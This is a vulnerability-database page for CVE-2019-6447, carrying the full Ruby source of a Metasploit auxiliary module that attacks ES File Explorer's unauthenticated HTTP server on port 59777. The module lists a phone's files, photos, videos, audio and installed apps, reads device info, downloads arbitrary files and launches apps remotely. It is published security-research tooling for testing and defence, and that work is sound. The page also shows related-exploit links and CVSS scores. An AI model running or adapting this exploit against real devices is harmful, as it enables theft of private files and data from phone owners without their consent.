Lucene search
K

ES File Explorer Open Port

🗓️ 24 Mar 2019 12:01:32Reported by 小荷才露尖尖角, moonbocal, fs0c131y, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

This module connects to ES File Explorer's HTTP server to run certain commands. The HTTP server is started on app launch, and is available as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable. This module has been tested against 4.1.9.5.1

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ES File Explorer 4.1.9.7.4 - Arbitrary File Read Exploit
29 Jun 202100:00
zdt
GithubExploit
Exploit for Missing Authentication for Critical Function in Estrongs Es_File_Explorer_File_Manager
7 Oct 202113:41
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Estrongs Es_File_Explorer_File_Manager
8 Aug 202102:54
githubexploit
ATTACKERKB
CVE-2019-6447
16 Jan 201900:00
attackerkb
Circl
CVE-2019-6447
16 Jan 201916:18
circl
CVE
CVE-2019-6447
16 Jan 201914:00
cve
Cvelist
CVE-2019-6447
16 Jan 201914:00
cvelist
Exploit DB
ES File Explorer 4.1.9.7.4 - Arbitrary File Read
29 Jun 202100:00
exploitdb
NVD
CVE-2019-6447
16 Jan 201914:29
nvd
OSV
CVE-2019-6447
16 Jan 201914:29
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'ES File Explorer Open Port',
      'Description' => %q{
        This module connects to ES File Explorer's HTTP server to run
        certain commands. The HTTP server is started on app launch, and is available
        as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable
        This module has been tested against 4.1.9.5.1.
      },
      'References'  =>
        [
          ['CVE', '2019-6447'],
          ['URL', 'https://www.ms509.com/2016/03/01/es-explorer-vul/'],
          ['URL', 'https://github.com/fs0c131y/ESFileExplorerOpenPortVuln'],
          ['URL', 'https://twitter.com/fs0c131y/status/1085460755313508352'],
        ],
      'Author'      => [
          '小荷才露尖尖角', # discovery (2016)
          'moonbocal', # discovery (2019)
          'fs0c131y', # poc
          'h00die' # msf module
      ],
      'DisclosureDate' => 'Jan 16 2019',
      'License'     => MSF_LICENSE,
      'Actions' => [
        ['LISTFILES', 'Description' => 'List all the files on the sdcard'],
        ['LISTPICS', 'Description' => 'List all the pictures'],
        ['LISTVIDEOS', 'Description' => 'List all the videos'],
        ['LISTAUDIOS', 'Description' => 'List all the audio files'],
        ['LISTAPPS',   'Description' => 'List all the apps installed'],
        ['LISTAPPSSYSTEM', 'Description' => 'List all the system apps installed'],
        ['LISTAPPSPHONE', 'Description' => 'List all the phone apps installed'],
        ['LISTAPPSSDCARD', 'Description' => 'List all the apk files stored on the sdcard'],
        ['LISTAPPSALL', 'Description' => 'List all the apps installed'],
        ['GETDEVICEINFO', 'Description' => 'Get device info'],
        ['GETFILE', 'Description' => 'Get a file from the device. ACTIONITEM required.'],
        ['APPLAUNCH', 'Description' => 'Launch an app. ACTIONITEM required.'],
      ],
      'DefaultAction' => 'GETDEVICEINFO',
    )

    register_options([
      Opt::RPORT(59777),
      OptString.new('ACTIONITEM', [false,'If an app or filename if required by the action']),
    ])

  end

  def sanitize_json(j)
    j.gsub!("},\r\n]", "}]")
    j.gsub!("'", '"')
    return j.gsub('", }', '"}')
  end

  def http_post(command)
    send_request_raw(
      'uri' => '/',
      'method' => 'POST',
      'data' => "{ \"command\":#{command} }",
      'ctype' => 'application/json',
    )
  end

  def run_host(target_host)
    case
      when action.name == 'LISTFILES'
        res = http_post('listFiles')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listFiles.json', 'application/json', target_host, res.body, 'es_file_explorer_listfiles.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['type']}: #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTPICS'
        res = http_post('listPics')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listPics.json', 'application/json', target_host, res.body, 'es_file_explorer_listpics.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTVIDEOS'
        res = http_post('listVideos')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listVideos.json', 'application/json', target_host, res.body, 'es_file_explorer_listvideos.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTAUDIOS'
        res = http_post('listAudios')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listAudio.json', 'application/json', target_host, res.body, 'es_file_explorer_listaudio.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTAPPS'
        res = http_post('listApps')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listApps.json', 'application/json', target_host, res.body, 'es_file_explorer_listapps.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTAPPSSYSTEM'
        res = http_post('listAppsSystem')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listAppsSystem.json', 'application/json', target_host, res.body, 'es_file_explorer_listappssystem.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTAPPSPHONE'
        res = http_post('listAppsPhone')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listAppsPhone.json', 'application/json', target_host, res.body, 'es_file_explorer_listappsphone.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTAPPSSDCARD'
        res = http_post('listAppsSdcard')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listAppsSdcard.json', 'application/json', target_host, res.body, 'es_file_explorer_listappssdcard.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
        end
        print_good(pretty_response)
      when action.name == 'LISTAPPSALL'
        res = http_post('listAppsAll')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('listAppsAll.json', 'application/json', target_host, res.body, 'es_file_explorer_listappsall.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        pretty_response = "#{peer}\n"
        json_resp.each do |f|
          pretty_response << "  #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
        end
        print_good(pretty_response)
      when action.name == 'GETDEVICEINFO'
        res = http_post('getDeviceInfo')
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable or Bad Response")
          return
        end
        path = store_loot('getDeviceInfo.json', 'application/json', target_host, res.body, 'es_file_explorer_getdeviceinfo.json')
        vprint_good("#{peer}- Result saved to #{path}")
        json_resp = JSON.parse(sanitize_json(res.body))
        print_good("#{peer}- Name: #{json_resp['name']}")
      when action.name == 'GETFILE'
        unless datastore['ACTIONITEM'].start_with?('/')
          print_error('Action item is a path for GETFILE, like /system/app/Browser.apk')
        end
        res = send_request_raw(
          'uri' => datastore['ACTIONITEM'],
          'method' => 'GET',
          'ctype' => 'application/json',
        )
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable, Bad Response.  File may not be available for download.")
          return
        end
        path = store_loot('getFile', 'application/octet-stream', target_host, res.body, datastore['ACTIONITEM'])
        print_good("#{peer}- #{datastore['ACTIONITEM']} saved to #{path}")
      when action.name == 'APPLAUNCH'
        if datastore['ACTIONITEM'].empty?
          print_error('Action item is a path for GETFILE, like com.android.chrome')
        end
        res = send_request_raw(
          'uri' => '/',
          'method' => 'POST',
          'data' => "{ \"command\":appLaunch, \"appPackageName\":#{datastore['ACTIONITEM']} }",
          'ctype' => 'application/json',
        )
        unless res
          print_error("#{peer}- Error Connecting")
          return
        end
        unless res.code == 200
          print_error("#{peer}- Not Vulnerable, Bad Response.  File may not be available for download.")
          return
        end
        if res.body.include?('NameNotFoundException')
          print_error("#{peer}- Application #{datastore['ACTIONITEM']} not found on device")
          return
        elsif res.body.include?('{"result":"0"}')
          print_good("#{peer}- #{datastore['actionitem']} launched successfully")
        end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2020 19:51Current
7High risk
Vulners AI Score7
CVSS 24.8
CVSS 3.18.1
EPSS0.6202
18